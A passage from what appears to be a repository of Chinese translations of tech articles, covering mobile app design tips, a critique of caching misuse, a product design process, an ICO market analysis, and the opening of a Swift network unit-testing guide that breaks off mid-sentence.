第二，做更多的研究\n\n你为什么要做这个？你打算怎么做？这是两个令人胆怯，但显然是非常重要的问题。在你开始你的应用设计之前，你必须要问自己这两个问题。\n\n![第二，做更多的研究](https://dn-shenxn.qbox.me/a490147fjw1f1zzi4m85sj20jg0elwiw.jpg) \n[图片来源](https://dribbble.com/shots/992731-Wireframing-Close)\n\n你为什么要做这个？你想通过设计一个应用做到什么？这是一个市场化还是品牌化行动？它是为了获得额外的收入渠道吗？这只是你在线产品的一个移动端版本吗？你有两个目标。\n\n第一是设计一个应用，第二是使应用达成你的目的，不论是为了钱、交流或是便利性。如果你能在设计进程中牢记第二个目标，最终的产品就会更加有效。\n\n你打算怎么做一个应用？列出你构建应用所必须完成的任务是非常有帮助的。做一个计划日程来检查列表上所有的项目是创建一个应用最有效率的方式。\n\n此外，思考一下谁将要使用你的应用。如果你同时从设计者和用户的角度去思考你的应用，你将能创造一个两边都感到开心的应用。\n\n### 研究你的竞争对手\n\n![研究你的竞争对手](https://dn-shenxn.qbox.me/922825.jpg)  \n[图片来源](https://dribbble.com/shots/922825-close-side-menu)\n\n不论你是在一个乐队比赛或是烹饪比赛中，了解你的对手总是明智的。对移动应用来说，有太多不同的网站、论坛和帖子可以让用户分享他们对于应用的观点。\n\n花上几个小时详细阅读这些网站和评论，你就可以对市场上的应用有一个比较全面的认识，同时也可以了解到用户想要什么。在开始设计应用之前知道你用户的偏好可以在之后为你节省很多修改的时间。\n\n用户至上自然是没错的，但是也别总把互联网上的各种言论都当成是对的。下载一些应用，考虑哪些观点是正确的，而哪些地方你不认同。\n\n### 获得灵感\n\n![获得灵感](https://dn-shenxn.qbox.me/1367175.jpg)  \n[图片来源](https://dribbble.com/shots/1367175-Sleep-Tracker-UI-Part-2-UX-iPhone-interface-App-iOS-7)\n\n就像之前提到的，你正在进入一个巨大的、瞬息万变的、并且年轻的领域。每天都有成百上千的应用被创造出来，每一天都会有新的东西。流行语“有一个实现了该功能的应用”不是凭空出现的。市面上应用的数量以及它们实现的功能都是令人震惊的。你希望你的应用是独特但易于使用的。\n\n视觉灵感是非常重要的。这甚至是一种可以让你在整个产业留下自己印记的方式。想想那些手机上已经存在的手势。在手机上做事的方式是不断发展的。想想那些还没有出现的手势。你应该时刻想着：“完成这项任务最自然的方式是什么？”双击？滑动？还是输入文字？\n\n记住：寻找灵感但不要剽窃。你可以通过观察那些已经存在的应用学到很多，并且极大地改善你自己的应用。\n\n### 是时候设计应用了\n\n![是时候设计应用了](https://dn-shenxn.qbox.me/934508.jpg)  \n[图片来源](https://dribbble.com/shots/934508-Secret-Project)\n\n终于，是时候应用所有的研究成果了！想想你使用应用时所有的体验，以及你读到的所有用户的评论、顾虑和意见。那么，你希望你的应用长什么样？带给用户怎样的感觉？怎样来使用？不论是画草图还是 Photoshop，开始设计你的应用吧。\n\n这一部分可能会很难而且很耗费时间。记住：现在花费的时间就是将来节省的时间。\n\n当你的应用有一个基本草图的时候，不论是在纸上的还是在你的硬盘里，你就可以开始构建应用的结构了。有很多的原型设计工具可以使用，只需要确保你使用的应用与你设计的界面兼容就可以了。\n\n确保应用的基础组件具备功能性显然是非常重要的。创建一个强健的核心可以保证你的应用易于使用，而不是使用户感到困扰的。多个设计稿或版本是必要的，所以如果从基础开始设计你的应用，所有这些版本版本都会是可用的，甚至是完美的。\n\n### 关于细节\n\n如果魔鬼存在于细节中，那天使也同样在其中。一个好看的重音符号或是一个有风格的字体都会是你的应用在巨大的市场中获得成功。那些细节可以成就一款应用，也可能毁掉一款应用。\n\n**导航**\n\n![导航](https://dn-shenxn.qbox.me/889785.jpg)  \n[图片来源](https://dribbble.com/shots/889785-Profile-Sreen)\n\n在你的应用中浏览应该是非常容易的。如果用户不能找到他们想要的，他们就不能获得完整的应用体验。符合用户的使用习惯应该比好看更重要，这样才能创造流畅的用户体验。将谷歌、必应、或是其他流行搜索引擎作为参考不失为一个好方法。\n\n有经验的应用设计师都赞同，导航不应该是一个有过多创新的元素。可以在传统的搜索系统上增加一些个人的特色，但不要创造一个用户需要学习的系统。\n\n**排版**\n\n![排版](https://dn-shenxn.qbox.me/1139651.jpg)  \n[图片来源](https://dribbble.com/shots/1139651-Tiny-green-app)\n\n这是设计应用最重要的一个方面。如果你的文本难以阅读或者你的字体很难看，你的应用将会变得无法使用。\n\n行间距以及字间距都是非常重要的，特别是对于移动应用，因为它们只有有限的展示空间。你要确保在不影响文字阅读的前提下最大化利用你的空间。\n\n有经验的应用设计师都赞同，你可以让你的用户自定义文字样式，但是你依然应该使用好看的字体。如果用户可以选择字体将会给他们留下更深的印象，但是不论你的设计中是否包括字体设置，你的字体都应该是易于阅读的，有风格的，并且合适的。\n\n**配色方案**\n\n![配色方案](https://dn-shenxn.qbox.me/1382687.jpg)  \n[图片来源](https://dribbble.com/shots/1382687-FM-Radio-UI-iOS-7-App)\n\n如果你像我一样，这将会是有趣的一部分！选择完美的颜色来补足你的设计是有趣且重要的。过多的颜色可能会分散用户的注意力，或使用户感到困惑。\n\n尝试不同的配色方案是最好的测试方法。你肯定希望你的颜色没有冲突，并且你的文字在背景上清晰可见。有经验的应用设计师会告诉你，在颜色上，少即是多。\n\n### 测试是至关重要的\n\n现在你的想法是一流的，你的设计是漂亮的，颜色是完美协调的，并且文字也拥有完美的字体，那接下来你要做什么呢？你需要确认真实的用户在使用你的应用时是怎样的体验。在应用将会被运行的设备上测试无疑是非常重要的，这确保你的设计可以给用户最大限度的享受和生产力。\n\n细节在设计中非常关键，在测试中也是。你能够单手够到所有的按键吗？可以的话，那你在打字的时候另一只手会遮住重要信息吗？\n\n![测试是至关重要的](https://dn-shenxn.qbox.me/thumb_zone.jpg)  \n[图片来源](http://uxmag.com/articles/excerpt-from-the-new-book-the-mobile-frontier)\n\n此外同样重要的是，你的应用在比你的测试机更老更差的设备上是否依然运行良好。确保所有的用户都能完整体验你的应用是成功的一个重要因素。\n\n### 结语\n\n现在你已经知道设计移动应用所有的基本内容了，去制作你自己的杰作吧！移动应用平台是一个极棒的平台，那上面有大量的选择和机会。\n\n最后我要提的是，与应用的开发者紧密合作总是一个好主意。你希望确保你应用的方方面面都跟你预想的一样。花几个月的时间设计一款应用，开发者却按照他自己的思路应付你的项目将会让人沮丧。所以即使进程的最终部分是沉闷冗长的，这将是创造出完美的最终应用的最佳方式。\n"
  },
  {
    "path": "TODO/the-caching-antipattern.md",
    "content": "> * 原文地址：[The Caching Antipattern](https://www.hidefsoftware.co.uk/2016/12/25/the-caching-antipattern/)\n> * 原文作者：[ROBERT STIFF](https://www.hidefsoftware.co.uk/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[王子建](https://github.com/Romeo0906)\n> * 校对者：[tanglie](https://github.com/tanglie1993)、[瞿祥轩](https://github.com/fghpdf)\n\n## 为何我抵制使用缓存？ ##\n\nTL;DR - 错误地缓存数据其实是一件很糟糕的事情。尽你所能不要缓存数据，如果不得已而为之，一定要保证你正确地缓存数据。\n\n----\n\n> 计算机科学中有两件难事：缓存失效和命名。\n> \n> - phil Karlton\n\n## 缓存？ ##\n\n为了确保不产生讨论对象的误解，每次我提到的**缓存**都是指一种能够加速应用的实践，存储前次的响应数据并用此来掩饰缓慢的依赖处理，而不用重新调用依赖内容。\n\n如著名的 Phil Karlton 所言，缓存是一个棘手的问题。近年来，我经常见到因为缓存产生的错误导致了不必要的混乱和延迟。\n\n## 常见错误 ##\n\n以下是一些常见错误，我们应该避之而行。\n\n如果已经知晓你的依赖慢到不能正常使用，甚至你都不会尝试在运行中调用它，因此你在启动应用的时候就预先设置缓存来替代依赖服务查询。这恰恰证明了你选用了不合适的依赖服务，如果该依赖服务来自第三方，你可能只有干瞪眼却无可奈何。启动缓存的使用通常是为了避免依赖服务的改进工作。\n\n这种缓存可能对应用造成的影响有：延长启动时间、造成卡顿、带来崩溃恢复的困难或者干脆失效。\n\n就算你不在意服务的（重）启动缓慢（你不该这样想），这种做法仍然是错误的，因为启动缓存无关应用数据也无关服务使用模式。鉴于使用启动缓存的目的是为了不调用依赖关系，因此我们不能对它设置过期策略。\n\n### 过早地缓存 ###\n\n这里所说的“早”是指在开发周期中的“早”，而不是在一次请求周期中的“早”。我曾见过，很多的开发者在写代码时，就断定要在某个“很慢”的方法前设置缓存。\n\n这样做的话，就掩盖了服务运行慢的事实。既然服务运行很快，那也就没理由继续优化和改进方案了。既然缓存可以保证后续请求会快很多，那还有什么好担心的呢，对吧？\n\n### 全部缓存 ###\n\n“SOLID”中的“S”扮演着什么样的角色？独立的职责（缓存也是如此）。如果你将缓存直接集成到服务层，那服务将不能离开缓存独立运行。这样你绝对是违反了模块独立的原则。事实如此，而不是我故意在这里宣扬这个原则。\n\n### 缓存所有内容 ###\n\n盲目地在每一个额外的调用中使用缓存，并以此确保再次响应时不用考虑其他因素。更糟的是，这种方式会在开发和运维人员并不知情的情况下产生缓存，并造成底层服务很可靠的假象，但其实那并不是真的。\n\n### 重复缓存 ###\n\n缓存所有内容或者缓存内容过多，都可能导致你缓存了缓存中的数据。\n\n一方面，这可能会导致所有内部缓存在最外层的缓存之前过期，这不仅极大地浪费了时间也浪费了操作层和缓存层未被使用的资源。\n\n另一方面，这可能将所有的缓存过期时间累加。比如，三十分钟有效期的缓存数据被缓存十次就能在系统中保持五个小时之久。这是多么不可思议呢？\n\n### 无法删除的缓存 ###\n\n偶尔会有类似于 Redis 这种存储方式的缓存实现方式，并且可以使用管理工具来按需删除缓存。\n\n而在其他的实现方式中，比如内存中的缓存，甚至主流框架中提供的缓存都没有任何的管理工具。这让运维人员只能通过重启服务来清空内存。（更糟糕的情况是弄明白缓存的实现方式，并在找到其在文件系统中的位置，然后手动清除。）\n\n我见过多次这种情况，团队中的不同成员都忙着找到缓存并清除它、重启来清除缓存或者等待缓存过期，之后才能继续下一步工作。他们在这项工作上花费了数个小时，实际上这已经超出了该工作所必须的时间。缓存使得他们所见非所得，就好像系统处于离线状态一样没有响应。\n\n## 缓存意味着什么 ##\n\n缓存意味着以上这些错误都可能被放大，也包括一些我们之前从没考虑过的新问题。\n\n部署一个过度缓存的系统特别耗费时间，因为部署过程中你不得不等待缓存过期，或者销毁每个你能找到的缓存。即使是那些备受推崇的堪称内容传输的泰山北斗的 CDN 服务系统，也会在使用的时候有百分之十左右的网络阻塞，删除全局的内容和配置缓存也可能会花费近两个小时。但事实上情况本没这么糟（[Fastly](https://www.fastly.com/products/instant-purging) 能够在 150ms 内清除缓存），同时这也会让人感到困惑，服务器上是现在是最新的数据了吗？\n\n你的第一反应通常是想办法销毁缓存。试想一下，你刚刚实现了一个功能，为了删除缓存，你需要花费和当初缓存数据时相当的时间、精力和认知负荷。\n\n调试缓存系统也称得上是一种挑战，忙得不可开交的会话调试会让你不识庐山真面目，只缘身在此山中。三个小时的抓耳挠腮之后你才突然意识到，你根本没有测试任何更改的内容（因为缓存的存在，你得到的结果一直是缓存中的数据，译者注）。\n\n## 我们该怎样做呢？ ##\n\n### 不使用缓存！ ###\n\n好吧，有时除了使用缓存你别无选择。只要你在上网，无论你喜欢与否缓存都存在。但即使这样，除了使用 `Cache-Control: max-age=xxx` 你还有其他选择。\n\n### 熟悉你的数据 ###\n\n你至少应该知道数据最后一次修改的时间。你可以用 `If-Modified-Since` 头，数据没有改变的时候将返回一个 304-not-modified 响应信息。现在你可以在不牺牲可见性和控制权的情况下巧妙地使用客户端的缓存能力。使用这个头信息能做到立即更新服务内容并不定期缓存数据，这两者双剑合璧，天下无敌。更进一步说，如果你能标记数据版本（或者只是生成一个响应的哈希），你将能利用 [etags](https://en.wikipedia.org/wiki/HTTP_ETag) 功能，并在提供没有数据延迟的正确交互逻辑。\n\n### 优化性能，而不是掩饰糟糕的部分 ###\n\n要舍得下功夫去使用分析工具。找到应用运行的瓶颈所在并解决，减少重复执行路径，筛选出不好的查询方案，正确地使用索引。如果你正在使用 S3 或者 blob 存储数据，你可以用 Redis 或类似工具来建立独立索引。Redis 不光是缓存系统，你如果能物尽其用，就能避免缓存问题并受益良多。\n\n## 写在文末 ##\n\n缓存是很有用的工具，但是若不加以指点很容易被滥用。\n\n首先寻找其他解决方案，不到最后关头不要尝试使用缓存。先优化应用，再考虑使用迟钝的缓存工具。\n\n如果你也遇到了一些由缓存或错误做法引发的基本问题，请与我告知，我会将其添加到本文中。\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-circle-of-product-design.md",
    "content": "> * 原文地址：[The Circle of Product Design](https://blog.prototypr.io/the-circle-of-product-design-6c78ade2010e)\n> * 原文作者：[Francesca Negro](https://blog.prototypr.io/@francine.negro?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-circle-of-product-design.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-circle-of-product-design.md)\n> * 译者：[Ryden Sun](https://github.com/rydensun)\n> * 校对者：[ryouaki](https://github.com/ryouaki) [Starriers](https://github.com/Starriers)\n\n# 产品设计的环状循环\n\n## In All Its Freudian Glory\n\n我们只是简单的从A点走到B点，有时候都会变得混乱不已 —— 会考虑这条路是不是对的，我们走得是否是正确的方向，如果我们走捷径又会怎样等等这些问题。\n但当A点是一个用户问题而且B点是一个实现的功能，这就像你用一张旧地图和一个坏的指南针在大海里航行。\n这就解释了为什么按照一个严谨的流程 —— 即便时间很紧张 —— 也会是通往B点的关键因素，而且有着最多的信心和尽可能的与解决方案相关的数据 —— 并且 —— 会让以后的相同的工作变得简单一点（也为了以后的迭代建立详尽的文档）。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/1000/1*WEDplgz4D0kkDU_DzwseUA.jpeg)\n\n文章中所有的过程都是 Freudian glory(弗洛伊德学说风格)（所有的插画都是我画的）\n\n* * *\n\n### **1.理解问题**\n\n![](https://cdn-images-1.medium.com/max/600/1*JDwprV_DD-4C1t5Q4DflaA.jpeg)\n\n问题也是需要被理解的。\n\n首先，这个需求是如何被提出的？这是一个顾客的需求，是一个CEO的点子还是一个实现愿景的蓝图？理解需求从哪里提出的，无论它是在 Jira 上，或是邮件里，或是贴子里，这是最重要的。从用户的附加解释中，辨别出那些真正触发需求的问题一直都是困难的，并且是容易忽略的（让我们来面对它，减少时间的消耗）。\n\n回溯到最开始的被触发的想法， 意味着需要确保我们设计的出发点是一个真实的问题，并且不是一个可能的解决方案。\n\n从顾客关爱部门，CEO，首席产品官他们那里获取他们的想法，无论是谁 —— 就像产品设计的 Sigmund Fredu —— 深挖这些想法直到你找到来源，那个激发需求的最初始的事件。\n\n### 2.调研问题并且收集数据\n\n![](https://cdn-images-1.medium.com/max/600/1*ddePyPmVjgUEUlCTmEQaCA.jpeg)\n\n调研这个问题是解决方案的一部分。\n\n第二步意味着会变得很擅长打扰别人和搜索东西。一旦定位了那个事件（可能是童年的心理创伤或是客户的抱怨），那就是时候尽可能多获取这个问题的信息了。\n其他人是怎么处理这个问题的呢？这是一个普遍的还是特殊的问题？我们有办法把这个问题分解成多个小问题吗？并且，最重要的，收集这个问题的数据。\n\n即使我们在讨论一个全新的功能/或是产品还处于开发状态，还是会有相关的（某些程度上）度量方法来使用的。如果是对于一个已经存在的功能进行提升，他 _应该_ 是容易从分析中收集数据的或是 _应该_ 有任意的度量方法可以被执行的。\n\n### 3.重新构想这个问题\n![](https://cdn-images-1.medium.com/max/600/1*eWm3VEXR8OOb7lDylpD6dg.jpeg)\n\nBlue steel ™.\n\n根据目前所有的信息，对于问题和其存在于的背景应该比较容易的有一个更清晰的认识。 重新定义这个问题意味着需要从不同的视野和角度看待它（看一下 J.W. Getzels 在“Problem of the Problem”的工作和其创造性的问题解决），因此在收集过程中，从任何以前的偏见或者解释来破坏他的行为都可能会被加入。\n所以，当最初的需求可能是“我们需要一个功能允许余额过低时转账给用户”（这就是一个需求包含解决方案的例子），促使产生这个需求的问题可能是“转账给用户太耗时而且需要不断地查看余额”。\n这个问题的重新定义打开了通向解决方案的新道路（执行一个调度程序，亦或是余额过低时自动提醒）。\n\n### 4.设计解决方案\n\n![](https://cdn-images-1.medium.com/max/600/1*v7DtBmuit2zTHBNyJvG0Gw.jpeg)\n\nVitruvian 解决方案。\n\n问题现在已经成功定位，而且数据是可以被投入到更广泛的产品背景中的。现在是时候把解决方案构建为“决定这些方法中哪个方法更适合解决这个问题”。出于这个目的，它可以适用于一系列问题：解决方案中应该有哪些功能 —— “用户应该能够设置自动提醒吗？” “用户应该能够引入事件吗？” —— 并且建立一个可能的解决方案实现列表。 目的是减少选项，形成一个可以用原型来测试的设想。\n既然目的是测试这个设想，原型应该是理想化的以设想为中心，是从所有修饰和没必要的细节中剥离开来的，这些修饰和细节可能会在测试中让用户分散注意力。\n在这一步，如果能和开发者或是任何将参与到过程中的人（如，整个设计团队，客户关心部门）进行交流就理想了，这样可以收集他们从自身角度出发关于解决方案的看法了。\n\n### 5.测试解决方案\n\n![](https://cdn-images-1.medium.com/max/600/1*ntzjOH6hIm8Iae6jICLQng.jpeg)\n\n“我想知道为什么他们让我做一个数学测试”。\n\n依靠现有的可用资源和时间，用户测试一直都是有挑战性和有必要性的。\n\n即使资源很少，时间很紧，测试一个能代表大部分产品用户的用户样本是十分重要的，这更比测试一大群没有代表性的样本重要（参照 1936 年的 Literary Digest 案例）。\n\n进行记录 —— 或者更好的办法是进行录音 —— 这是最详尽的办法来更方便的在一个用户体验研究员的帮助下进行访谈的总结（如果可能的话，或者至少有另外一个可以记录的人），为了能同时保证记录的质量和访谈的活跃度。\n\n### 6.实现解决方案\n\n![](https://cdn-images-1.medium.com/max/600/1*x9iGOrNVqpGhNBbeEfdmpQ.jpeg)\n\n不适合3岁以下的小孩。\n\n目前为止，设想被验证了没有？如果已被验证，什么是设计方案的痛点和长处？假设所有都进行顺利（设想被验证并且几乎没有痛点），这个原型应该变成真实的屏幕显示出，同时需求需要传递给开发者们。为了给未来迭代铺设道路，一个强制性的任务是定义哪些是功能点的KPI和绩效指标，这可能需要别的团队成员（市场人员，后端和前端开发人员）的帮助。\n\n如果设想没有被测试，那就有必要回到之前的设计解决方案步骤，甚至是重新审视问题本身并且重新开始。\n\n当设计一个复杂的解决方案时 —— 最有可能的是对于一个复杂的问题 —— 一个可能的策略是从实现解决方案的最简单版本开始， 接着不断增加复杂度最后发布。\n\n### 7.运送这个功能\n\n![](https://cdn-images-1.medium.com/max/600/1*cGhQi-bu3oMSW9VR4MhWsg.jpeg)\n\nArrrrrrrr!（语气词，类似啊啊啊啊啊啊）\n\n好吧，这是很明显的。 赶快把他发布出去让世界知道他发布了。\n\n### 8.密切关注功能点的成功\n\n![](https://cdn-images-1.medium.com/max/600/1*-iS0o-6nsFu8RnRJjL4s5A.jpeg)\n\n它有达到最好的效果吗？\n\n如果所有事情都进行无误，现在应该可以收集度量数据了。\n去客户关爱部门，告诉他们目前正在进行的功能的关注点，并且为用户反馈设置一条特权通道，这些反馈包含新功能的所有方面，这也是一个很好的监测进行情况的注意。\n\n### 9.解决方案有解决问题吗？\n\n![](https://cdn-images-1.medium.com/max/600/1*_4AplAayI8PgFIj-3H3xqQ.jpeg)\n\n解决方案也需要理解。\n\n功能已经发布而且用户已经使用了一段时间（几周或者几个月），根据流程和其他问题，现在是时候问一个问题：大多数用户有发现问题被这个方案解决掉了吗？\n\n在理想的世界里，我们会举办大型的舞会和聚会来庆祝解决方案那简约而又灿烂的美丽，世界上的饥荒也会仅仅存在于记忆力，因为我们这个功能的问题解决能力。\n\n现实中，不是每个人都会满意（用户和/或队友），别的问题也会出现，也可能是时候解决商业上的一些问题 —— 忽略整个过程 —— 我们可能会无法完成我们的目标。\n因此，让我们在过程中保持信心，不断地重新开始（带着更多的内省）。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-coming-era-of-the-zombie-token.md",
    "content": "> * 原文地址：[The Coming Era of the Zombie Token?](https://hackernoon.com/the-coming-era-of-the-zombie-token-707350b34b42)\n> * 原文作者：[Eric Risley](https://hackernoon.com/@ericrisley_83384?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-coming-era-of-the-zombie-token.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-coming-era-of-the-zombie-token.md)\n> * 译者：[wendylinlin](https://github.com/wendylinlin)\n> * 校对者：[oOatuo(史金炜)](https://github.com/atuooo) ，[MRNIU](https://github.com/MRNIU)，[LeviDing](https://github.com/leviding)\n\n# 僵尸币时代即将到来？\n\n## 最新的 ICO 市场状况调查\n\n一个月前我们发布了一篇文章：[大部分 ICO 失败：两个世界的故事](https://hackernoon.com/most-icos-fail-tale-of-two-worlds-d1ab7625ff66)，抛开那些令人窒息的、正面的标题，去更好地从根本上理解项目本身以及 ICO 市场中那些重要的细微差异。文章中透露出一个挑战性日益增长的市场，但真实的故事是，越来越多的 ICO 无法达成预设的融资目标，而且大多数差距都很明显。\n\n**最新消息：过去的这个月发生了什么？**\n\n新闻标题依旧那么积极正面。 在 2017 年 10 月，76 个项目完成了他们的 ICO，筹集了相当于 7 亿美元的资金,创纪录的一个月。 然而，正如我们上个月观察到的，市场变得更有选择性了，只有 26 个项目，总量的 34%，完成了他们的集资目标，创了新低。另外，我们相信至少还有几十个项目宣布进行 ICO，但是公开后一直保持沉默。以上这些发现都和我们经历的传闻一致。\n\n![](https://cdn-images-1.medium.com/max/800/1*_AKom5HbpQqTMd2yfdNJAw.jpeg)\n\n![](https://cdn-images-1.medium.com/max/800/1*E5p90fkjOxczb-8rQxgE2w.jpeg)\n\n**对我们的结论的批评**\n\n我们的分析和结论基于公开宣布的集资目标和实际筹得的资金的对比。我们衡量成功的标准是随机选择的门槛即集资达到生命的目标的 75%。这种做法收到了普遍批评；争论点是我们不看 ICO 集资的量来决定成功与否。在某种情况下，我是完全同意的，尤其是在团队雄心勃勃的筹资目标的情况下，虽然功亏一篑，但仍筹集了数千万美元的资金。\n\n**僵尸币时代即将来临？**\n\n然而很多项目的 ICO 只筹集到了一个很普通的投资量。例如，从 2017 年 6 月开始我们数了数，有82个项目集资少于等于 5 百万或者少很多很多。\n\n这造成了一个难题。从中长期来看，代币价值基本上决定于 1、 代币是在一个“可行的，有活力的，可持续的”项目中使用的 2、代币持有者的流动性。筹集的有限的资金可能会增加形成一个可行的项目的风险，同时发布的代币数量较少也暗示了代币缺乏流动性。不幸的是，我们担心以上两个因素可能形成许多“僵尸币”。\n\n我们对僵尸币的定义如下 1、缺乏足够多的用户/支持者， 2、缺乏足够的资金来支持项目团队达成在白皮书中描述的愿景， 3、缺乏代币持有者流动性，4、我们可能会发现由于1、2的原因将来可能会很难筹集更多的资金。这些情况进一步复杂化，代币发行者常常永久性限定代币的发行量，以禁止将来为了获取投资的额外代币销售。\n\n僵尸币和直接失败的项目不同。僵尸币往往导致了项目的失败，因为：1）发出支持者不多的信号 2）很难吸引交易所上市该项目，就算吸引到了，几乎可以断定由于低流量带来的低效价格和低流动性 3）产生一群会不断打冷枪的烦躁的代币持有者。以上这些因素会分散注意力并且形成一个负面反馈闭环。\n\n站着说话不腰疼。这不是我们的目的。我们的目的实施帮助加密/区块链社区为加密货币和代币形成一个强大且合理的，持续的，合法也合规的市场。我们一直是过去非理性繁荣的直接参与者，我们相信根据 Carlota Perez 在 [技术革命和金融资本](https://www.amazon.com/Technological-Revolutions-Financial-Capital-Dynamics/dp/1843763311) 中说的，此时的状态是一个“伟大的技术发展浪潮”的前兆。但是，现阶段的后果是痛苦的。\n\n**供考虑的几点建议**\n\n我们虽然是加密/区块链信徒，却认可市场将会经历痛苦，有些现阶段已经开始显现。对于那些想要使用代币作为融资工具或者平台内激励机制的团队，我们的建议如下：\n\n1. 认真准备，假设会遇到棘手的问题和严峻市场接受度，同时购买者的期望也越来越高。\n2. 假设你要和越来越多的专业加密货币买手打交道来完成一次 ICO。\n3. 假设监管者迟早要用某种形式来监管的。提前采取措施来减轻现有的和将来的危机。\n4. 形成适应未来未知的灵活性。比如，小心的定义所有代币条款。对平台用例和额外资本的适应会是个优势。\n\n**开源的备份资料**\n\n给有兴趣的人，[此处](https://docs.google.com/spreadsheets/d/1cpDOY_AnbO9UiUIDde7CagHzfOTDHVw4l927_7sdKSw/edit?usp=sharing) 是我们所有数据分析的 google 表格。我们打算允许评论，编辑和订正。\n\n最后说一下，我们知道现在有关于俗称的 ICO 也就是初始代币发行的用词正确性的讨论。我们更喜欢用 Token Distribution，有的人倾向于 TGE 或者 Token Generation Event。 不管是哪一种，对我们而言他都只是描述事物的一种形式。监管机构将不会受到用来描述这一类交易的名字的影响。我们在本文中只能继续用 ICO 因为这是最常见也最被广泛理解的术语。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-complete-guide-to-network-unit-testing-in-swift.md",
    "content": "> * 原文地址：[The complete guide to Network Unit Testing in Swift](https://medium.com/flawless-app-stories/the-complete-guide-to-network-unit-testing-in-swift-db8b3ee2c327)\n> * 原文作者：[S.T.Huang](https://medium.com/@koromikoneo?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-complete-guide-to-network-unit-testing-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-complete-guide-to-network-unit-testing-in-swift.md)\n> * 译者：[swants](http://swants.cn)\n> * 校对者：[pthtc](https://github.com/pthtc) [ZhiyuanSun](https://github.com/ZhiyuanSun)\n\n# Swift 网络单元测试完全手册\n\n![](https://cdn-images-1.medium.com/max/2000/1*tbwvWm4U3z0au5X6gOddiQ.png)\n\n不得不承认，对于 iOS 开发写测试并不是很普遍(至少和后端写测试程度相比)。我过去是个独立开发者而且最初也没经过原生“测试驱动”的开发培训，因此我花费了大量的时间来学习如何编写测试用例，如何写出可测试的代码。这也是我写这篇文章的初衷，我想把自己用 Swift 写测试时摸索到的心得分享给大家，希望我的见解能够帮助大家节省学习时间，少走些弯路。\n\n在这篇文章，我们将会讨论着手写测试的入门知识：**依赖注入**。\n\n\n想象一下，你此时正在写测试。\n如果你的测试对象(被测系统)是和真实世界相连的，比如 Networking 和 CoreData，编写测试代码将会非常复杂。原则上讲，我们不希望我们的测试代码被客观世界的事物所影响。被测系统不应依赖于其他的复杂系统，这样我们才能够保证在时间恒定和环境恒定条件下迅速完成测试。况且，保证我们的测试代码不会“污染”生产环境也是十分重要的。“污染”意味着什么？意味着我们的测试代码将一些测试对象写进了数据库，提交了些测试数据到生产服务器等等。而避免这些情况的发生就是 **依赖注入** 存在的意义。\n\n让我们从一个例子开始。\n假设你拿到个应该联网并且在生产环境下才能被执行的类，联网部分就被称作该类的 **依赖**。如之前所言，当我们执行测试时这个类的联网部分必须能够被模拟的，或者假的环境所替换。换句话说，该类的依赖必须支持“可注入”，依赖注入使我们的系统更加灵活。我们能够为生产代码“注入”真实的网络环境；与此同时，也能够“注入”模拟的网络环境来让我们在不访问互联网的条件下运行测试代码。\n\n### TL;DR\n\n> 译者注：TL;DR 是 Too long;Don't read 的缩写。在这里的意思是篇幅较长，不想深入研究，请直接看文章总结。\n\n在这篇文章，我们将会讨论：\n\n1. 如何使用 **依赖注入** 技术设计一个对象\n5. 在 Swift 中如何使用协议设计一个模拟对象\n6. 如何测试对象使用的数据及如何测试对象的行为\n\n### 依赖注入\n\n开始动手吧! 现在我们打算实现一个叫做 **HttpClient** 的类。这个 HttpClient 应该满足以下要求：\n\n1. HttpClient 跟初始的网络组件对于同一 URL 